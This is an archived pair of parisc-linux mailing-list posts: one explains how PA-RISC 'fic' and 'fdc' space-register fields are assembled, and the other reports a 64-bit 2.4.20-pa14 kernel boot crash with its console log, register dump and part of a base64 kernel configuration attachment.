List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17100

>               __asm__ __volatile__("fic (%0)" :: "r" (spot) );

The assembler should not allow this, but it does. The problem is that
whoever wrote the assembly/disassembly support for parisc didn't really
understand the difference between instructions with 2 bit s fields and
3 bit s fields. fdc has a 2 bit s field, so when you specify "fdc (%0)"
it puts a 0 in the s field, which tells the processor to use the space
registers associated with the top two bits of the address (sr4-sr7). But
if you disassemble the instruction it will print "fdc (sr0,<register>),
which is incorrect, since sr0 is not involved.

fic has a 3 bit s field. In that case, the space register must be specified
explicitly. specifying "fic (%0)" should be illegal. But instead the
assembler just puts a zero in the s field of the instruction. But in this
case it does mean to use sr0. So when you specify "fic (%0)", you are
really specifying "fic (sr0,%0)". Since sr0 is a scratch space register,
you probably have not set it to anything appropriate, so that is probably
why the fic instruction is segfaulting on you (assuming "spot" is a legal
address in your address space).

On parisc linux we use a linear, non segmented address space, so all four
quadrants of the address space are in the same parisc space. That means
that sr4 through sr7 are set to the same value while running in user space.
So, you should change your call to fic to use any of those 4 space registers.
The general convention has been to use sr7. So instead of specifying
"fic (%0)", you should specify "fic (sr7,%0)".

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-pa14 64bit crash on boot - A500-5X
Date: Fri, 13 Dec 2002 14:28:37 +0100
Lines: 2632
Approved: news@gmane.org
Message-ID: <20021213132838.F044D49C55@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary="'ThIs-RaNdOm-StRiNg-/=_.58772825:"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622022 18644 80.91.229.3 (22 Nov 2014 02:07:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 06:28:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75757484D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 06:28:45 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP id 3033649CF9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 14:28:39 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id F044D49C55
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 14:28:37 +0100 (CET)
X-Originating-IP: [147.215.1.189]
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17101

--'ThIs-RaNdOm-StRiNg-/=_.58772825:
MIME-Version: 1.0
Content-Length: 3455
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset=iso-8859-1

Hi pa-ckers

I'm dropping here a brief report of a crash I just experienced with
the latest 2.4 kernel on our A500.

For various reasons you don't want to know, I cannot currently track
that problem down, so i'm providing the System.map and .config of that
kernel :)

kernel built using hppa64-gcc-3.0.4 on the A500, based on the previous
kernel's .config (2.4.19-pa22).

Console log:

pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,1049)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at iomem 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS01 at iomem 0xfffffffff8000008 (irq = 132) is a 16550A
ttyS02 at iomem 0xfffffffff8000010 (irq = 132) is a 16550A

Press Q/q to quit, Enter to continue: 

Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,104a)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
spin_unlock(000000001039a8d0): no lock cpu 0 curr PC 00000000101101a4
swapper/1

Stack Dump:
 0000000014ced200:  000000ff0804ff0e 00000000a9c50000 0000000010143bd4
0000000000000040 
 0000000014ced1e0:  00000000103f8d60 0000000010356684 0000000000000084
fffffffff8000010 
 0000000014ced1c0:  0000000010549800 0000000000000000 0000000010549800
000000001046ce00 
 0000000014ced1a0:  00000000104b6c00 0000000010549800 000000001046ce00
028000001046ce00 
 0000000014ced180:  00000000104ec000 000000001046ce00 000000001048e7b4
0000000014cece90 
 0000000014ced160:  000000000000007e 00000000103569a8 0000000014cecfb8
000000001046ce00 

Kernel addresses on the stack:
 [<0000000010143bd4>]  [<000000001014bf2c>]  [<0000000010281a94>] 
[<000000001014018c>] 
 [<0000000010281b98>]  [<00000000101003c0>]  [<0000000010108460>] 
[<0000000010108518>] 
 [<00000000101317dc>]  [<0000000010137c98>]  [<0000000010326804>] 
[<0000000010100390>] 
 [<0000000010137960>] 


Press Q/q to quit, Enter to continue: 

Kernel Fault: Code=26 regs=0000000014ced200 (Addr=0000000000000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  0000000000000000 0000000010518e50 0000000010143bd4
0000000010538b48
r04-07  0000000000000000 000000000800000f 000000001046ce00
0000000000000000
r08-11  0000000010538898 00000000105389d8 00000000103fc4b0
0000000010538898
r12-15  00000000103fc4a0 0000000010538898 0000000010538898
0000000010538898
r16-19  00000000103fc480 0000000010538898 0000000010538898
0000000010538b48
r20-23  0000000000000000 0000000010519e50 0000000000002e49
0000000000002eac
r24-27  0000000000000001 0000000000002eac 00000000103df7c0
000000001046ce00
r28-31  0000000000000000 0000000014ced1f0 0000000014ced200
000000001047be00
sr0-3   0000000000000000 0000000000000000 0000000000000000
0000000000000000
sr4-7   0000000000000000 0000000000000000 0000000000000000
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010143c48
0000000010143c4c
 IIR: 0e8312d0    ISR: 0000000000000000  IOR: 0000000000000008
 CPU:        0   CR30: 0000000014cec000 CR31: 00000000104f0000
 ORIG_R28: 0000000010325edc


HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/
--'ThIs-RaNdOm-StRiNg-/=_.58772825:
MIME-Version: 1.0
Content-Length: 16548
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;name=config-2.4.20-pa14
Content-Disposition: attachment;filename=config-2.4.20-pa14

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGJ5IG1ha2UgbWVudWNvbmZpZzogZG9uJ3QgZWRp
dAojCkNPTkZJR19QQVJJU0M9eQojIENPTkZJR19VSUQxNiBpcyBub3Qgc2V0CkNPTkZJR19SV1NF
TV9HRU5FUklDX1NQSU5MT0NLPXkKIyBDT05GSUdfUldTRU1fWENIR0FERF9BTEdPUklUSE0gaXMg
bm90IHNldAoKIwojIENvZGUgbWF0dXJpdHkgbGV2ZWwgb3B0aW9ucwojCkNPTkZJR19FWFBFUklN
RU5UQUw9eQoKIwojIExvYWRhYmxlIG1vZHVsZSBzdXBwb3J0CiMKQ09ORklHX01PRFVMRVM9eQpD
T05GSUdfTU9EVkVSU0lPTlM9eQpDT05GSUdfS01PRD15CgojCiMgUHJvY2Vzc29yIHR5cGUKIwoj
IENPTkZJR19QQTcxMDAgaXMgbm90IHNldAojIENPTkZJR19QQTcyMDAgaXMgbm90IHNldAojIENP
TkZJR19QQTcxMDBMQyBpcyBub3Qgc2V0CkNPTkZJR19QQThYMDA9eQpDT05GSUdfUEEyMD15CkNP
TkZJR19QQVJJU0M2ND15CiMgQ09ORklHX1BEQ19OQVJST1cgaXMgbm90IHNldAoKIwojIEdlbmVy
YWwgb3B0aW9ucwojCkNPTkZJR19TTVA9eQpDT05GSUdfQ0hBU1NJU19MQ0RfTEVEPXkKIyBDT05G
SUdfSU9NTVVfQ0NJTyBpcyBub3Qgc2V0CkNPTkZJR19HU0M9eQojIENPTkZJR19HU0NfTEFTSSBp
cyBub3Qgc2V0CiMgQ09ORklHX0dTQ19XQVggaXMgbm90IHNldAojIENPTkZJR19FSVNBIGlzIG5v
dCBzZXQKIyBDT05GSUdfSVNBIGlzIG5vdCBzZXQKQ09ORklHX1BDST15CkNPTkZJR19HU0NfRElO
Tz15CkNPTkZJR19QQ0lfTEJBPXkKQ09ORklHX0lPU0FQSUM9eQpDT05GSUdfSU9NTVVfU0JBPXkK
IyBDT05GSUdfU1VQRVJJTyBpcyBub3Qgc2V0CkNPTkZJR19QQ0lfTkFNRVM9eQoKIwojIEdlbmVy
YWwgc2V0dXAKIwojIENPTkZJR19IT1RQTFVHIGlzIG5vdCBzZXQKQ09ORklHX05FVD15CkNPTkZJ
R19TWVNWSVBDPXkKIyBDT05GSUdfQlNEX1BST0NFU1NfQUNDVCBpcyBub3Qgc2V0CkNPTkZJR19T
WVNDVEw9eQpDT05GSUdfS0NPUkVfRUxGPXkKQ09ORklHX0JJTkZNVF9FTEY9eQpDT05GSUdfQklO
Rk1UX1NPTT15CiMgQ09ORklHX0JJTkZNVF9NSVNDIGlzIG5vdCBzZXQKIyBDT05GSUdfUE0gaXMg
bm90IHNldAoKIwojIFBhcmFsbGVsIHBvcnQgc3VwcG9ydAojCiMgQ09ORklHX1BBUlBPUlQgaXMg
bm90IHNldAoKIwojIEJsb2NrIGRldmljZXMKIwojIENPTkZJR19CTEtfREVWX0ZEIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQkxLX0RFVl9YRCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBUklERSBpcyBub3Qg
c2V0CiMgQ09ORklHX0JMS19DUFFfREEgaXMgbm90IHNldAojIENPTkZJR19CTEtfQ1BRX0NJU1Nf
REEgaXMgbm90IHNldAojIENPTkZJR19DSVNTX1NDU0lfVEFQRSBpcyBub3Qgc2V0CiMgQ09ORklH
X0JMS19ERVZfREFDOTYwIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9VTUVNIGlzIG5vdCBz
ZXQKQ09ORklHX0JMS19ERVZfTE9PUD15CiMgQ09ORklHX0JMS19ERVZfTkJEIGlzIG5vdCBzZXQK
Q09ORklHX0JMS19ERVZfUkFNPXkKQ09ORklHX0JMS19ERVZfUkFNX1NJWkU9NDA5NgpDT05GSUdf
QkxLX0RFVl9JTklUUkQ9eQpDT05GSUdfQkxLX1NUQVRTPXkKCiMKIyBNdWx0aS1kZXZpY2Ugc3Vw
cG9ydCAoUkFJRCBhbmQgTFZNKQojCiMgQ09ORklHX01EIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxL
X0RFVl9NRCBpcyBub3Qgc2V0CiMgQ09ORklHX01EX0xJTkVBUiBpcyBub3Qgc2V0CiMgQ09ORklH
X01EX1JBSUQwIGlzIG5vdCBzZXQKIyBDT05GSUdfTURfUkFJRDEgaXMgbm90IHNldAojIENPTkZJ
R19NRF9SQUlENSBpcyBub3Qgc2V0CiMgQ09ORklHX01EX01VTFRJUEFUSCBpcyBub3Qgc2V0CiMg
Q09ORklHX0JMS19ERVZfTFZNIGlzIG5vdCBzZXQKCiMKIyBOZXR3b3JraW5nIG9wdGlvbnMKIwpD
T05GSUdfUEFDS0VUPXkKQ09ORklHX1BBQ0tFVF9NTUFQPXkKIyBDT05GSUdfTkVUTElOS19ERVYg
aXMgbm90IHNldAojIENPTkZJR19ORVRGSUxURVIgaXMgbm90IHNldApDT05GSUdfRklMVEVSPXkK
Q09ORklHX1VOSVg9eQpDT05GSUdfSU5FVD15CiMgQ09ORklHX0lQX01VTFRJQ0FTVCBpcyBub3Qg
c2V0CiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX1BO
UCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JUElQIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0lQ
R1JFIGlzIG5vdCBzZXQKIyBDT05GSUdfQVJQRCBpcyBub3Qgc2V0CkNPTkZJR19JTkVUX0VDTj15
CkNPTkZJR19TWU5fQ09PS0lFUz15CiMgQ09ORklHX0lQVjYgaXMgbm90IHNldAojIENPTkZJR19L
SFRUUEQgaXMgbm90IHNldAojIENPTkZJR19BVE0gaXMgbm90IHNldApDT05GSUdfVkxBTl84MDIx
UT15CiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0CiMgQ09ORklHX0FUQUxLIGlzIG5vdCBzZXQKCiMK
IyBBcHBsZXRhbGsgZGV2aWNlcwojCiMgQ09ORklHX0RFVl9BUFBMRVRBTEsgaXMgbm90IHNldAoj
IENPTkZJR19ERUNORVQgaXMgbm90IHNldAojIENPTkZJR19CUklER0UgaXMgbm90IHNldAojIENP
TkZJR19YMjUgaXMgbm90IHNldAojIENPTkZJR19MQVBCIGlzIG5vdCBzZXQKIyBDT05GSUdfTExD
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0RJVkVSVCBpcyBub3Qgc2V0CiMgQ09ORklHX0VDT05F
VCBpcyBub3Qgc2V0CiMgQ09ORklHX1dBTl9ST1VURVIgaXMgbm90IHNldAojIENPTkZJR19ORVRf
RkFTVFJPVVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0hXX0ZMT1dDT05UUk9MIGlzIG5vdCBz
ZXQKCiMKIyBRb1MgYW5kL29yIGZhaXIgcXVldWVpbmcKIwojIENPTkZJR19ORVRfU0NIRUQgaXMg
bm90IHNldAoKIwojIE5ldHdvcmsgdGVzdGluZwojCiMgQ09ORklHX05FVF9QS1RHRU4gaXMgbm90
IHNldAoKIwojIFNDU0kgc3VwcG9ydAojCkNPTkZJR19TQ1NJPXkKQ09ORklHX0JMS19ERVZfU0Q9
eQpDT05GSUdfU0RfRVhUUkFfREVWUz00MAojIENPTkZJR19DSFJfREVWX1NUIGlzIG5vdCBzZXQK
IyBDT05GSUdfQ0hSX0RFVl9PU1NUIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfU1I9eQojIENP
TkZJR19CTEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0CkNPTkZJR19TUl9FWFRSQV9ERVZTPTIK
IyBDT05GSUdfQ0hSX0RFVl9TRyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREVCVUdfUVVFVUVT
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9NVUxUSV9MVU4gaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX0NPTlNUQU5UUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTE9HR0lORyBpcyBub3Qgc2V0
CgojCiMgU0NTSSBsb3ctbGV2ZWwgZHJpdmVycwojCiMgQ09ORklHX0JMS19ERVZfM1dfWFhYWF9S
QUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV83MDAwRkFTU1QgaXMgbm90IHNldAojIENPTkZJ
R19TQ1NJX0FDQVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSEExNTJYIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0NTSV9BSEExNTQyIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSEExNzQwIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BQUNSQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9B
SUM3WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfRFBUX0kyTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQURWQU5TWVMgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX0lOMjAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQU01
M0M5NzQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX01FR0FSQUlEIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0NTSV9CVVNMT0dJQyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQ1BRRkNUUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NDU0lfRE1YMzE5MUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RUQzMy
ODAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0VBVEEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X0VBVEFfRE1BIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9FQVRBX1BJTyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfRlVUVVJFX0RPTUFJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfR0RUSCBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfR0VORVJJQ19OQ1I1MzgwIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0NTSV9JTklUSU8gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lOSUExMDAgaXMgbm90IHNl
dAojIENPTkZJR19TQ1NJX05DUjUzQzQwNkEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0xBU0k3
MDAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX05DUjUzQzd4eCBpcyBub3Qgc2V0CkNPTkZJR19T
Q1NJX1NZTTUzQzhYWF8yPXkKQ09ORklHX1NDU0lfU1lNNTNDOFhYX0RNQV9BRERSRVNTSU5HX01P
REU9MQpDT05GSUdfU0NTSV9TWU01M0M4WFhfREVGQVVMVF9UQUdTPTE2CkNPTkZJR19TQ1NJX1NZ
TTUzQzhYWF9NQVhfVEFHUz02NApDT05GSUdfU0NTSV9TWU01M0M4WFhfSU9NQVBQRUQ9eQojIENP
TkZJR19BU0tfWkFMT04gaXMgbm90IHNldAojIENPTkZJR19BU0tfTkNSNTNDOFhYIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQVNLX1NZTTUzQzhYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfWkFMT04g
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BBUzE2IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9Q
Q0kyMDAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9QQ0kyMjIwSSBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfUFNJMjQwSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxPR0lDX0ZBUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxPR0lDX0lTUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
UUxPR0lDX0ZDIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9RTE9HSUNfMTI4MCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfU0lNNzEwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TWU01M0M0MTYg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RDMzkwVCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
VDEyOCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfVTE0XzM0RiBpcyBub3Qgc2V0CiMgQ09ORklH
X1NDU0lfREVCVUcgaXMgbm90IHNldAoKIwojIE5ldHdvcmsgZGV2aWNlIHN1cHBvcnQKIwpDT05G
SUdfTkVUREVWSUNFUz15CgojCiMgQVJDbmV0IGRldmljZXMKIwojIENPTkZJR19BUkNORVQgaXMg
bm90IHNldAojIENPTkZJR19EVU1NWSBpcyBub3Qgc2V0CiMgQ09ORklHX0JPTkRJTkcgaXMgbm90
IHNldAojIENPTkZJR19FUVVBTElaRVIgaXMgbm90IHNldAojIENPTkZJR19UVU4gaXMgbm90IHNl
dAojIENPTkZJR19FVEhFUlRBUCBpcyBub3Qgc2V0CgojCiMgRXRoZXJuZXQgKDEwIG9yIDEwME1i
aXQpCiMKQ09ORklHX05FVF9FVEhFUk5FVD15CiMgQ09ORklHX0xBU0lfODI1OTYgaXMgbm90IHNl
dAojIENPTkZJR19TVU5MQU5DRSBpcyBub3Qgc2V0CiMgQ09ORklHX0hBUFBZTUVBTCBpcyBub3Qg
c2V0CiMgQ09ORklHX1NVTkJNQUMgaXMgbm90IHNldAojIENPTkZJR19TVU5RRSBpcyBub3Qgc2V0
CiMgQ09ORklHX1NVTkdFTSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9WRU5ET1JfM0NPTSBpcyBu
b3Qgc2V0CiMgQ09ORklHX0xBTkNFIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9TTUMg
aXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1JBQ0FMIGlzIG5vdCBzZXQKIyBDT05GSUdf
SFAxMDAgaXMgbm90IHNldAojIENPTkZJR19ORVRfSVNBIGlzIG5vdCBzZXQKQ09ORklHX05FVF9Q
Q0k9eQojIENPTkZJR19QQ05FVDMyIGlzIG5vdCBzZXQKIyBDT05GSUdfQURBUFRFQ19TVEFSRklS
RSBpcyBub3Qgc2V0CiMgQ09ORklHX0FQUklDT1QgaXMgbm90IHNldAojIENPTkZJR19DUzg5eDAg
aXMgbm90IHNldApDT05GSUdfVFVMSVA9eQpDT05GSUdfVFVMSVBfTVdJPXkKQ09ORklHX1RVTElQ
X01NSU89eQojIENPTkZJR19ERTRYNSBpcyBub3Qgc2V0CiMgQ09ORklHX0RHUlMgaXMgbm90IHNl
dAojIENPTkZJR19ETTkxMDIgaXMgbm90IHNldAojIENPTkZJR19FRVBSTzEwMCBpcyBub3Qgc2V0
CiMgQ09ORklHX0UxMDAgaXMgbm90IHNldAojIENPTkZJR19MTkUzOTAgaXMgbm90IHNldAojIENP
TkZJR19GRUFMTlggaXMgbm90IHNldAojIENPTkZJR19OQVRTRU1JIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkUyS19QQ0kgaXMgbm90IHNldAojIENPTkZJR19ORTMyMTAgaXMgbm90IHNldAojIENPTkZJ
R19FUzMyMTAgaXMgbm90IHNldAojIENPTkZJR184MTM5Q1AgaXMgbm90IHNldAojIENPTkZJR184
MTM5VE9PIGlzIG5vdCBzZXQKIyBDT05GSUdfODEzOVRPT19QSU8gaXMgbm90IHNldAojIENPTkZJ
R184MTM5VE9PX1RVTkVfVFdJU1RFUiBpcyBub3Qgc2V0CiMgQ09ORklHXzgxMzlUT09fODEyOSBp
cyBub3Qgc2V0CiMgQ09ORklHXzgxMzlfT0xEX1JYX1JFU0VUIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0lTOTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfRVBJQzEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NV
TkRBTkNFIGlzIG5vdCBzZXQKIyBDT05GSUdfU1VOREFOQ0VfTU1JTyBpcyBub3Qgc2V0CiMgQ09O
RklHX1RMQU4gaXMgbm90IHNldAojIENPTkZJR19UQzM1ODE1IGlzIG5vdCBzZXQKIyBDT05GSUdf
VklBX1JISU5FIGlzIG5vdCBzZXQKIyBDT05GSUdfVklBX1JISU5FX01NSU8gaXMgbm90IHNldAoj
IENPTkZJR19XSU5CT05EXzg0MCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9QT0NLRVQgaXMgbm90
IHNldAoKIwojIEV0aGVybmV0ICgxMDAwIE1iaXQpCiMKIyBDT05GSUdfQUNFTklDIGlzIG5vdCBz
ZXQKIyBDT05GSUdfREwySyBpcyBub3Qgc2V0CiMgQ09ORklHX0UxMDAwIGlzIG5vdCBzZXQKIyBD
T05GSUdfTVlSSV9TQlVTIGlzIG5vdCBzZXQKIyBDT05GSUdfTlM4MzgyMCBpcyBub3Qgc2V0CiMg
Q09ORklHX0hBTUFDSEkgaXMgbm90IHNldAojIENPTkZJR19ZRUxMT1dGSU4gaXMgbm90IHNldAoj
IENPTkZJR19TSzk4TElOIGlzIG5vdCBzZXQKIyBDT05GSUdfVElHT04zIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkRESSBpcyBub3Qgc2V0CiMgQ09ORklHX0hJUFBJIGlzIG5vdCBzZXQKIyBDT05GSUdf
UExJUCBpcyBub3Qgc2V0CiMgQ09ORklHX1BQUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NMSVAgaXMg
bm90IHNldAoKIwojIFdpcmVsZXNzIExBTiAobm9uLWhhbXJhZGlvKQojCiMgQ09ORklHX05FVF9S
QURJTyBpcyBub3Qgc2V0CgojCiMgVG9rZW4gUmluZyBkZXZpY2VzCiMKIyBDT05GSUdfVFIgaXMg
bm90IHNldAojIENPTkZJR19ORVRfRkMgaXMgbm90IHNldAojIENPTkZJR19SQ1BDSSBpcyBub3Qg
c2V0CiMgQ09ORklHX1NIQVBFUiBpcyBub3Qgc2V0CgojCiMgV2FuIGludGVyZmFjZXMKIwojIENP
TkZJR19XQU4gaXMgbm90IHNldAoKIwojIElucHV0IGNvcmUgc3VwcG9ydAojCiMgQ09ORklHX0lO
UFVUIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfS0VZQkRFViBpcyBub3Qgc2V0CiMgQ09ORklH
X0lOUFVUX01PVVNFREVWIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfSk9ZREVWIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSU5QVVRfRVZERVYgaXMgbm90IHNldAoKIwojIENoYXJhY3RlciBkZXZpY2Vz
CiMKQ09ORklHX1ZUPXkKQ09ORklHX1ZUX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMPXkKQ09ORklH
X1NFUklBTF9DT05TT0xFPXkKIyBDT05GSUdfU0VSSUFMX0VYVEVOREVEIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0VSSUFMX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQKQ09ORklHX1VOSVg5OF9QVFlTPXkK
Q09ORklHX1VOSVg5OF9QVFlfQ09VTlQ9MjU2CgojCiMgSTJDIHN1cHBvcnQKIwojIENPTkZJR19J
MkMgaXMgbm90IHNldAoKIwojIE1pY2UKIwojIENPTkZJR19CVVNNT1VTRSBpcyBub3Qgc2V0CiMg
Q09ORklHX01PVVNFIGlzIG5vdCBzZXQKCiMKIyBKb3lzdGlja3MKIwojIENPTkZJR19JTlBVVF9H
QU1FUE9SVCBpcyBub3Qgc2V0CiMgQ09ORklHX1FJQzAyX1RBUEUgaXMgbm90IHNldAoKIwojIFdh
dGNoZG9nIENhcmRzCiMKIyBDT05GSUdfV0FUQ0hET0cgaXMgbm90IHNldApDT05GSUdfR0VOUlRD
PXkKIyBDT05GSUdfQU1EX1BNNzY4IGlzIG5vdCBzZXQKIyBDT05GSUdfTlZSQU0gaXMgbm90IHNl
dAojIENPTkZJR19SVEMgaXMgbm90IHNldAojIENPTkZJR19EVExLIGlzIG5vdCBzZXQKIyBDT05G
SUdfUjM5NjQgaXMgbm90IHNldAojIENPTkZJR19BUFBMSUNPTSBpcyBub3Qgc2V0CgojCiMgRnRh
cGUsIHRoZSBmbG9wcHkgdGFwZSBkZXZpY2UgZHJpdmVyCiMKIyBDT05GSUdfRlRBUEUgaXMgbm90
IHNldAojIENPTkZJR19BR1AgaXMgbm90IHNldAojIENPTkZJR19EUk0gaXMgbm90IHNldAoKIwoj
IEhJTCBzdXBwb3J0CiMKCiMKIyBNdWx0aW1lZGlhIGRldmljZXMKIwojIENPTkZJR19WSURFT19E
RVYgaXMgbm90IHNldAoKIwojIEZpbGUgc3lzdGVtcwojCiMgQ09ORklHX1FVT1RBIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQVVUT0ZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQVVUT0ZTNF9GUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1JFSVNFUkZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVJU0VSRlNf
Q0hFQ0sgaXMgbm90IHNldAojIENPTkZJR19SRUlTRVJGU19QUk9DX0lORk8gaXMgbm90IHNldAoj
IENPTkZJR19BREZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQURGU19GU19SVyBpcyBub3Qgc2V0
CiMgQ09ORklHX0FGRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19IRlNfRlMgaXMgbm90IHNldAoj
